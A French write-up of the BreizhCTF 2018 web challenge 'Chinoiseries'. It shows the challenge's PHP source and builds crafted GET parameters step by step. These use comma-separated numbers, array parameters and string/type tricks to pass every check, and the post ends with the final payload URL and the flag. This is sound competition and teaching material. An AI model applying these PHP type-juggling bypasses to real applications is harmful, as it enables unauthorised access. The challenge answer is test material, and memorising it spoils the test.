Présentation d’un write-up de résolution du challenge « Web – Chinoiseries » de la BreizhCTF 2018.
Durant la nuit du 20/04/2018 se déroulait la BreizhCTF 2018 sous forme d’un CTF Jeopardy. Ayant eu l’occasion et le temps d’y participer avec quelques collègues et amis, voici un write-up de résolution d’un des challenges.
- Catégorie : Web
- Nom : Chinoiseries
- Description : Can you understand this…
- URL : http://148.60.87.243:44815
- Points : ??
tl;dr; : Analyser un code source PHP pour satisfaire toutes les conditions (variables GET, JSON, typage, valeurs) afin d’afficher le flag.
L’URL du challenge révèle un fichier PHP interprété, dont le code source est directement affiché (show_source()) :
<?php show_source(__FILE__); $i01=0;$i02=0;$i03=0; $a=(array)json_decode(@$_GET['kaaris']); if(is_array($a)){ is_numeric(@$a["Jte_laisse_tirer_sur_ma_chicha"])?die("brrrrah"):NULL; if(@$a["Jte_laisse_tirer_sur_ma_chicha"]){ ($a["Jte_laisse_tirer_sur_ma_chicha"]>2017)?$i01=1:NULL; } if(is_array(@$a["et_tu_veux_plus_me_rendre_le_tuyau"])){ if(count($a["et_tu_veux_plus_me_rendre_le_tuyau"])!==7 OR !is_array($a["et_tu_veux_plus_me_rendre_le_tuyau"][0])) die("brrrrah"); $pos = array_search("Diarabi, diarabi, diarabi, ma chérie", $a["a2"]); $pos===false?die("brrrrah"):NULL; foreach($a["et_tu_veux_plus_me_rendre_le_tuyau"] as $key=>$val){ $val==="Diarabi, diarabi, diarabi, ma chérie"?die("brrrrah"):NULL; } $i02=1; } } $c=@$_GET['meufs']; $d=@$_GET['seufs']; if(@$c[1]){ if(!strcmp($c[1],$d) && $c[1]!==$d){ eregi("3|1|c",$d.$c[0])?die("brrrrah"):NULL; strpos(($c[0].$d), "Diarabi, diarabi, faut qu'on fasse du wari")?$i03=1:NULL; } } if($i01 && $i02 && $i03){ include "flag.php"; echo $FL4G; } ?>
A la lecture de ce code source, on voit clairement qu’il nous faut satisfaire la dernière condition pour que le fichier « flag.php » soit inclus et que le flag soit affiché :
if($i01 && $i02 && $i03){ include "flag.php"; echo $FL4G; }
Pour faciliter l’avancement de résolution de ce challenge, et notamment la validation de chaque condition, dupliquons le code source visible dans un fichier « chinoiseries.php » dans notre Apache/XAMP local.
Numérotons les erreurs (brrrrahX), ajoutons quelques « echo » et commençons.
<?php show_source(__FILE__); $i01=0;$i02=0;$i03=0; $a=(array)json_decode(@$_GET['kaaris']); if(is_array($a)){ echo "YEAH IS ARRAY !<br />"; is_numeric(@$a["Jte_laisse_tirer_sur_ma_chicha"])?die("brrrrah1"):NULL;echo "YEAH IS NUMERIC !<br />"; if(@$a["Jte_laisse_tirer_sur_ma_chicha"]){ ($a["Jte_laisse_tirer_sur_ma_chicha"]>2017)?$i01=1:NULL;echo "YEAH IS > 2017 !<br />"; } if(is_array(@$a["et_tu_veux_plus_me_rendre_le_tuyau"])){echo "YEAH et_tu_veux_plus_me_rendre_le_tuyau IS ARRAY<br />"; if(count($a["et_tu_veux_plus_me_rendre_le_tuyau"])!==7 OR !is_array($a["et_tu_veux_plus_me_rendre_le_tuyau"][0])) die("brrrrah2");echo "YEAH et_tu_veux_plus_me_rendre_le_tuyau IS !7 AND [0] NOT ARRAY<br />"; $pos = array_search("Diarabi, diarabi, diarabi, ma chérie", $a["a2"]); $pos===false?die("brrrrah3"):NULL;echo "YEAH pos IS FALSE<br />"; foreach($a["et_tu_veux_plus_me_rendre_le_tuyau"] as $key=>$val){ $val==="Diarabi, diarabi, diarabi, ma chérie"?die("brrrrah4"):NULL;echo "YEAH et_tu_veux_plus_me_rendre_le_tuyau RIGHT VALUE !<br />"; } $i02=1; } } $c=@$_GET['meufs']; $d=@$_GET['seufs']; if(@$c[1]){echo "YEAH c[1] IS OK<br />"; if(!strcmp($c[1],$d) && $c[1]!==$d){echo "YEAH c[1] IS EQUAL TO d AS STRING BUT c[1] DIFFERENT OF d AS TYPE <br />"; eregi("3|1|c",$d.$c[0])?die("brrrrah5"):NULL;echo "YEAH REGEXP SATISFIED<br />"; strpos(($c[0].$d), "Diarabi, diarabi, faut qu'on fasse du wari")?$i03=1:NULL;echo "YEAH STRING FOUND<br />"; } }echo "Values : $i01 $i02 $i03<br />"; if($i01 && $i02 && $i03){ include "flag.php"; echo $FL4G; } ?>
En premier lieu, la variable GET « kaaris » est décodée depuis du JSON, puis est vérifiée pour être un tableau. Définissons là ainsi :
http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"xxx":"yyy"}
La valeur de « Jte_laisse_tirer_sur_ma_chicha » du JSON ne doit pas être numérique (is_numerique()) pour éviter le premier die() ; et cette valeur doit être strictement supérieur à l’entier 2017. Autrement dit, l’utilisation d’une virgule « , » rend ce nombre non-numérique (is_numerique() contourné), mais PHP le traduit tout de même comme un entier à comparer avec « 2017 » :
http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337"}
Parfait, la première condition « $i01 » est à « 1 » !
La condition suivante est que la valeur JSON « et_tu_veux_plus_me_rendre_le_tuyau » soit un tableau JSON :
http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[]}
On atteint le deuxième die(). Pour éviter cela, le tableau de « et_tu_veux_plus_me_rendre_le_tuyau » doit avoir 7 entrées et la première entrée doit être elle-même un tableau :
http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""]}
Poursuivons, la valeur JSON de « a2 » est recherchée, doit être une string impérativement (foreach avec « === ») et doit être égale à « Diarabi, diarabi, diarabi, ma chérie » :
http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"}
$i02 vaut à présent 1, plus que la dernière !
Deux nouvelles variables GET entrent en jeu, « meufs » ($c) et « seufs » ($d). « meufs » doit être un tableau avec au moins deux éléments ($c[1]) doit être défini. Convertissons cette nouvelle variable GET en tableau directement dans l’URL :
http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"} &meufs[]=x &meufs[]=y &seufs=z
La prochaine condition a été plus complexe. $c[1] doit être égale à la valeur GET « seufs » ($d) en termes de valeur (string), sans pour autant être du même type (!==). Donnons donc la valeur « Array » (string) à $c[1] et convertissons la variable GET « seufs » en tableau (Array). la REGEXP (eregi()) est satisfaite dans la foulée :
http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"} &meufs[]=x &meufs[]=Array &seufs[]=
Ultime condition pour valuer $i03 à 1, s’assurer que la chaîne « Diarabi, diarabi, faut qu’on fasse du wari » se retrouve dans la concaténation de $c[0] avec $d, mais pas à l’indice 0.
Préfixons donc la valeur de $c[0] avec un caractère quelconque pour que strpos() retourne un index supérieur à 0 :
http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"} &meufs[]=xDiarabi, diarabi, faut qu'on fasse du wari &meufs[]=Array &seufs[]=
Parfait, toutes les conditions sont remplies !
Nous pouvons tester cette URL directement sur le challenge :
http://148.60.87.243:44815?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"} &meufs[]=xDiarabi, diarabi, faut qu'on fasse du wari &meufs[]=Array &seufs[]=
Flag :
BZHCTF{bl4ck_duck_d0nt_4sk_m3_why_I_was_n0t_r3allt_inspir3d}
Chapeau à Estelle, Martin, Charles et Timothée pour celui-ci ?
Merci à toute l’équipe de la BreizhCTF pour l’organisation et la qualité des challenges !
Salutations à toute l’équipe, on remet ça quand vous voulez ? // Gr3etZ